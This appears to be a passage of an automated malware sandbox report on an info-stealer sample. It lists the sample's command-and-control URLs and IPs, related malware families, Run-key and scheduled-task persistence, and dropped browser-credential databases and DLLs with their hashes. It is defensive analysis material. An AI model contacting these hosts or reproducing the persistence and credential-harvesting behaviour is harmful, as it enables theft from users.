https://navygenerayk.store/apiq	e41fd24755.exe, 00000014.00000002.2932521313.0000000000E14000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.phpd	file.exe, 00000000.00000002.2039853324.0000000000F32000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://navygenerayk.store/apis	e41fd24755.exe, 0000000E.00000003.2680862463.0000000000E9D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://home.fvteja5sb.top/OuonWYxAVjorkgXdRtho17	923e9bc10d.exe, 0000000C.00000003.2481697890.000000000711B000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.phpj	d357e68128.exe, 0000000F.00000002.2722879567.0000000000BF3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/~1	e41fd24755.exe, 0000000E.00000003.2869648621.0000000000E7D000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000002.2933969075.0000000000E7D000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000003.2869840075.0000000000E7D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000002.2039853324.0000000000F32000.00000004.00000020.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000003.2634124119.00000000057FF000.00000004.00000800.00020000.00000000.sdmp, e41fd24755.exe, 0000000E.00000003.2634255300.00000000057E8000.00000004.00000800.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2777760512.000000000529F000.00000004.00000800.00020000.00000000.sdmp, e41fd24755.exe, 00000010.00000003.2777968861.0000000005288000.00000004.00000800.00020000.00000000.sdmp, JKEGIDGD.0.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
142.250.186.78	plus.l.google.com	United States	15169	GOOGLEUS	false
185.228.235.50	home.fvteja5sb.top	Russian Federation	64439	ITOS-ASRU	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
142.250.185.100	www.google.com	United States	15169	GOOGLEUS	false
142.250.185.238	play.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
188.114.97.3	navygenerayk.store	European Union	13335	CLOUDFLARENETUS	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false

Private

IP
192.168.2.4
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1553295
Start date and time:	2024-11-10 19:43:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 26s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@38/48@35/12
EGA Information:	Successful, ratio: 75%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.181.238, 142.250.186.131, 108.177.15.84, 34.104.35.123, 216.58.206.35, 142.250.186.106, 142.250.186.42, 142.250.185.74, 142.250.184.202, 172.217.16.138, 142.250.186.138, 142.250.74.202, 216.58.212.170, 142.250.185.106, 216.58.212.138, 142.250.181.234, 142.250.184.234, 172.217.16.202, 216.58.206.42, 172.217.18.10, 216.58.206.74, 199.232.214.172, 192.229.221.95, 142.250.184.195, 74.125.206.84, 216.58.206.78
Excluded domains from analysis (whitelisted): fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, clientservices.googleapis.com, ogads-pa.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, clients.l.google.com, www.gstatic.com
Execution Graph export aborted for target file.exe, PID 7300 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
13:44:25	API Interceptor	23x Sleep call for process: file.exe modified
13:45:01	API Interceptor	765x Sleep call for process: skotes.exe modified
13:45:27	API Interceptor	45x Sleep call for process: e41fd24755.exe modified
13:45:46	API Interceptor	66x Sleep call for process: 923e9bc10d.exe modified
18:44:32	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
18:45:30	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run e41fd24755.exe C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe
18:45:38	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run d357e68128.exe C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe
18:45:46	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run e41fd24755.exe C:\Users\user\AppData\Local\Temp\1005360001\e41fd24755.exe
18:45:55	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run d357e68128.exe C:\Users\user\AppData\Local\Temp\1005361001\d357e68128.exe
18:46:04	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 46218a4a07.exe C:\Users\user\AppData\Local\Temp\1005363001\46218a4a07.exe
18:46:20	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 46218a4a07.exe C:\Users\user\AppData\Local\Temp\1005363001\46218a4a07.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	6uqT7ARJKQ.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
navygenerayk.store	file.exe	Get hash	malicious	LummaC, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
home.fvteja5sb.top	file.exe	Get hash	malicious	Cryptbot	Browse	185.228.235.50
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.178.47.86
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	193.43.91.119
	file.exe	Get hash	malicious	Cryptbot	Browse	193.43.91.119
fvteja5sb.top	file.exe	Get hash	malicious	Cryptbot	Browse	185.228.235.50
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.178.47.86
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	193.43.91.119
	file.exe	Get hash	malicious	Cryptbot	Browse	193.43.91.119

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ITOS-ASRU	file.exe	Get hash	malicious	Cryptbot	Browse	185.228.235.50
	uMlLpvdLRU.exe	Get hash	malicious	Tofsee	Browse	185.228.234.180
	Crt09EgZK3.exe	Get hash	malicious	Tofsee	Browse	185.228.234.180
	6foBmRMlDy.exe	Get hash	malicious	Tofsee	Browse	185.228.234.180
	SecuriteInfo.com.PUA.Tool.InstSrv.3.16098.13705.exe	Get hash	malicious	Unknown	Browse	185.228.233.50
	SecuriteInfo.com.PUA.Tool.InstSrv.3.16098.13705.exe	Get hash	malicious	Unknown	Browse	185.228.233.50
	81zBpBAWwc.exe	Get hash	malicious	RHADAMANTHYS	Browse	185.228.233.50
	PcWanHBSjp.exe	Get hash	malicious	Raccoon Stealer v2	Browse	193.187.174.250
	Setup.exe	Get hash	malicious	Go Injector, Stealc	Browse	193.187.173.86
	Setup.exe	Get hash	malicious	Go Injector, Stealc	Browse	193.187.173.86
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	Cryptbot	Browse	4.175.87.197 4.245.163.56 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	4.175.87.197 4.245.163.56 184.28.90.27 13.107.246.45
	Xg0OdI1VqO.exe	Get hash	malicious	Stealc, Vidar	Browse	4.175.87.197 4.245.163.56 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	4.175.87.197 4.245.163.56 184.28.90.27 13.107.246.45
	DihoyYp8ie.exe	Get hash	malicious	Stealc, Vidar	Browse	4.175.87.197 4.245.163.56 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	4.175.87.197 4.245.163.56 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	4.175.87.197 4.245.163.56 184.28.90.27 13.107.246.45
	AcroCEF.exe	Get hash	malicious	Stealc, Vidar	Browse	4.175.87.197 4.245.163.56 184.28.90.27 13.107.246.45
	A3W2CpXxiO.exe	Get hash	malicious	Stealc, Vidar	Browse	4.175.87.197 4.245.163.56 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	Stealc	Browse	4.175.87.197 4.245.163.56 184.28.90.27 13.107.246.45
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	188.114.97.3
	Setup.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	188.114.97.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	188.114.97.3

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	Xg0OdI1VqO.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	DihoyYp8ie.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	AcroCEF.exe	Get hash	malicious	Stealc, Vidar	Browse
	A3W2CpXxiO.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	QkBj8CevLU.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AECFCAAE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FBKECFIIEHCFHIECAFBAKJJDGD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HCAEHDHDAKJEBGCBKKJE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\HCAEHDHDAKJEBGCBKKJEBGDGII

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JKEGIDGD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KECGHIJDGCBKECAAKKEC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: Xg0OdI1VqO.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: DihoyYp8ie.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: AcroCEF.exe, Detection: malicious, Browse Filename: A3W2CpXxiO.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: QkBj8CevLU.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
